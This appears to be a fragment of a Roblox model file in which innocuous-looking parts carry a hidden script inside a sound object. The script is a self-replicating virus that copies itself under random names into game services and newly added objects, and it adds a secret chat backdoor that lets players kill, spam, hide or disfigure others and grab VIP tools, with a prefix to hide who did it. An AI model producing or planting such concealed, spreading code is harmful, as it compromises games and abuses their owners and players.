gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX817">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-186</X>
					<Y>33.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX818">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX819">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX820">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-180</X>
					<Y>36.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
